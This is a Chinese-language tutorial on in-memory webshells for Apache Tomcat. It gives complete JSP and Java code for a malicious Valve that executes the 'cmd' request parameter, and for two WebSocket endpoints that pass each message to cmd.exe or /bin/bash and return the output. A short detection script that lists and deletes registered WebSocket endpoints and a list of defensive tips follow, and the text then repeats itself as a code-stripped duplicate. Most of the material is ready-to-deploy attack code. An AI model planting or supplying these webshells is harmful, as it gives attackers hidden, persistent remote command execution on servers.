Tomcat内存马之Valve和WebSocket型
字数 1383 2025-08-11 00:08:50

Tomcat内存马之Valve和WebSocket型深入解析

前言

本文详细讲解Tomcat中Valve和WebSocket型内存马的实现原理、利用方式和防御措施。这两种内存马与常见的listener、filter、servlet型内存马有所不同,特别是在WebSocket内存马中,由于使用的协议和方法不同,往往容易被忽略。

环境准备

在开始前需要引入Tomcat依赖:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.70</version>
</dependency>

Valve型内存马

Valve基础概念

Tomcat中存在一种管道机制(Pipeline),它基于Java Servlet规范实现。Pipeline由一系列Valve(阀门)组成,每个Valve都是一个Java类,用于处理HTTP请求的不同阶段。

  • Pipeline:处理管道,类似Filter中的Chain链
  • Valve:控制管道流通状态,可在处理请求前后执行自定义逻辑

Tomcat中的Container(Engine、Host、Context、Wrapper)都有对应的Valve类:

  • StandardEngineValve
  • StandardHostValve
  • StandardContextValve
  • StandardWrapperValve

Valve内存马实现原理

  1. 关键调用链

    CoyoteAdapter#service -> 
    connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)
    
  2. 实现思路

    • 编写恶意Valve类,实现Valve接口,重写invoke方法包含恶意代码
    • 获取StandardContext对象
    • 通过StandardContext.getPipeline获取StandardPipeline
    • 使用StandardPipeline.addValve添加恶意Valve

Valve内存马实现代码

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
public class Valve_Shell implements Valve {
    @Override
    public Valve getNext() { return null; }
    
    @Override
    public void setNext(Valve valve) { }
    
    @Override
    public void backgroundProcess() { }
    
    @Override
    public boolean isAsyncSupported() { return false; }
    
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        PrintWriter writer = response.getWriter();
        if (cmd != null) {
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
            BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
            StringBuilder stringBuilder = new StringBuilder();
            String str = null;
            while ((str = bufferedReader.readLine()) != null) {
                stringBuilder.append(str + "\n");
            }
            writer.println(stringBuilder.toString());
        }
    }
}
%>

<%
Field declaredField = request.getClass().getDeclaredField("request");
declaredField.setAccessible(true);
Request req = (Request) declaredField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
Valve_Shell valveShell = new Valve_Shell();
pipeline.addValve(valveShell);
%>

利用方式

  1. 访问上述JSP页面注册恶意Valve
  2. 通过携带cmd参数执行任意命令

WebSocket型内存马

WebSocket基础

WebSocket是一种全双工通信协议,允许客户端和服务端双向实时通信。Tomcat支持两种实现方式:

  1. 使用@ServerEndpoint注解
  2. 继承抽象类Endpoint

@ServerEndpoint注解实现

package com.example.memshell.ws;

import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
import java.io.InputStream;

@ServerEndpoint("/lemono")
public class Ws_Shell {
    private Session session;
    
    @OnOpen
    public void OnOpen(Session session) {
        this.session = session;
        this.session.getAsyncRemote().sendText("open session");
    }
    
    @OnMessage
    public void OnMessage(String message) {
        try {
            Process process;
            boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
            if (bool) {
                process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
            } else {
                process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
            }
            
            InputStream inputStream = process.getInputStream();
            StringBuilder stringBuilder = new StringBuilder();
            int i;
            while ((i = inputStream.read()) != -1) {
                stringBuilder.append((char)i);
            }
            inputStream.close();
            process.waitFor();
            session.getAsyncRemote().sendText(stringBuilder.toString());
        } catch (Exception exception) {
            exception.printStackTrace();
        }
    }
    
    @OnClose
    public void OnClose() {
        System.out.println("OnClose connect");
    }
}

继承Endpoint抽象类实现

<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>

<%!
public static class C extends Endpoint implements MessageHandler.Whole<String> {
    private Session session;
    
    @Override
    public void onMessage(String s) {
        try {
            Process process;
            boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
            if (bool) {
                process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
            } else {
                process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
            }
            
            InputStream inputStream = process.getInputStream();
            StringBuilder stringBuilder = new StringBuilder();
            int i;
            while ((i = inputStream.read()) != -1) {
                stringBuilder.append((char)i);
            }
            inputStream.close();
            process.waitFor();
            session.getBasicRemote().sendText(stringBuilder.toString());
        } catch (Exception exception) {
            exception.printStackTrace();
        }
    }
    
    @Override
    public void onOpen(final Session session, EndpointConfig config) {
        this.session = session;
        session.addMessageHandler(this);
    }
}
%>

<%
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
container.addEndpoint(configEndpoint);
servletContext.setAttribute(ServerContainer.class.getName(),container);
out.println("success, connect url path: " + servletContext.getContextPath() + path);
%>

WebSocket注册流程

  1. Tomcat启动时通过WsSci配置WebSocket相关信息
  2. 关键类和方法:
    • WsServerContainer:WebSocket容器
    • ServerEndpointConfig:配置Endpoint信息
    • addEndpoint方法:注册WebSocket端点

利用方式

  1. 访问JSP页面注册恶意WebSocket端点
  2. 使用WebSocket客户端工具(如wscat)连接注册的端点
  3. 通过发送消息执行命令并获取回显

WebSocket内存马查杀

传统内存马查杀工具难以检测WebSocket内存马,可通过以下方式检测:

<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.Set" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
// 通过request的context获取ServerContainer
WsServerContainer wsServerContainer = (WsServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());

// 利用反射获取WsServerContainer类中的私有变量configExactMatchMap
Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);

// 遍历configExactMatchMap,打印所有注册的websocket服务
Set<String> keyset = configExactMatchMap.keySet();
Iterator<String> iterator = keyset.iterator();
while (iterator.hasNext()) {
    String key = iterator.next();
    Object object = wsServerContainer.findMapping(key);
    Class<?> wsMappingResultObj = Class.forName("org.apache.tomcat.websocket.server.WsMappingResult");
    Field configField = wsMappingResultObj.getDeclaredField("config");
    configField.setAccessible(true);
    ServerEndpointConfig config1 = (ServerEndpointConfig) configField.get(object);
    Class<?> clazz = config1.getEndpointClass();
    out.println(String.format("websocket name:%s, websocket class: %s", key, clazz.getName()));
}

// 如果参数带name,删除该服务
if(request.getParameter("name") != null) {
    configExactMatchMap.remove(request.getParameter("name"));
    out.println(String.format("delete ws service: %s", request.getParameter("name")));
}
%>

防御措施

  1. 定期检查Tomcat中注册的Valve和WebSocket端点
  2. 限制动态注册WebSocket端点的能力
  3. 使用安全产品监控异常的内存马行为
  4. 及时更新Tomcat到最新版本
  5. 对Web应用进行代码审计,防止恶意代码注入

总结

Valve和WebSocket内存马是Tomcat中较为隐蔽的攻击方式,特别是WebSocket内存马由于协议特殊,传统检测手段难以发现。安全人员需要了解其实现原理,才能有效防御和检测这类内存马攻击。

Tomcat内存马之Valve和WebSocket型深入解析 前言 本文详细讲解Tomcat中Valve和WebSocket型内存马的实现原理、利用方式和防御措施。这两种内存马与常见的listener、filter、servlet型内存马有所不同,特别是在WebSocket内存马中,由于使用的协议和方法不同,往往容易被忽略。 环境准备 在开始前需要引入Tomcat依赖: Valve型内存马 Valve基础概念 Tomcat中存在一种管道机制(Pipeline),它基于Java Servlet规范实现。Pipeline由一系列Valve(阀门)组成,每个Valve都是一个Java类,用于处理HTTP请求的不同阶段。 Pipeline :处理管道,类似Filter中的Chain链 Valve :控制管道流通状态,可在处理请求前后执行自定义逻辑 Tomcat中的Container(Engine、Host、Context、Wrapper)都有对应的Valve类: StandardEngineValve StandardHostValve StandardContextValve StandardWrapperValve Valve内存马实现原理 关键调用链 : 实现思路 : 编写恶意Valve类,实现Valve接口,重写invoke方法包含恶意代码 获取StandardContext对象 通过StandardContext.getPipeline获取StandardPipeline 使用StandardPipeline.addValve添加恶意Valve Valve内存马实现代码 利用方式 访问上述JSP页面注册恶意Valve 通过携带cmd参数执行任意命令 WebSocket型内存马 WebSocket基础 WebSocket是一种全双工通信协议,允许客户端和服务端双向实时通信。Tomcat支持两种实现方式: 使用 @ServerEndpoint 注解 继承抽象类 Endpoint @ServerEndpoint注解实现 继承Endpoint抽象类实现 WebSocket注册流程 Tomcat启动时通过WsSci配置WebSocket相关信息 关键类和方法: WsServerContainer :WebSocket容器 ServerEndpointConfig :配置Endpoint信息 addEndpoint 方法:注册WebSocket端点 利用方式 访问JSP页面注册恶意WebSocket端点 使用WebSocket客户端工具(如wscat)连接注册的端点 通过发送消息执行命令并获取回显 WebSocket内存马查杀 传统内存马查杀工具难以检测WebSocket内存马,可通过以下方式检测: 防御措施 定期检查Tomcat中注册的Valve和WebSocket端点 限制动态注册WebSocket端点的能力 使用安全产品监控异常的内存马行为 及时更新Tomcat到最新版本 对Web应用进行代码审计,防止恶意代码注入 总结 Valve和WebSocket内存马是Tomcat中较为隐蔽的攻击方式,特别是WebSocket内存马由于协议特殊,传统检测手段难以发现。安全人员需要了解其实现原理,才能有效防御和检测这类内存马攻击。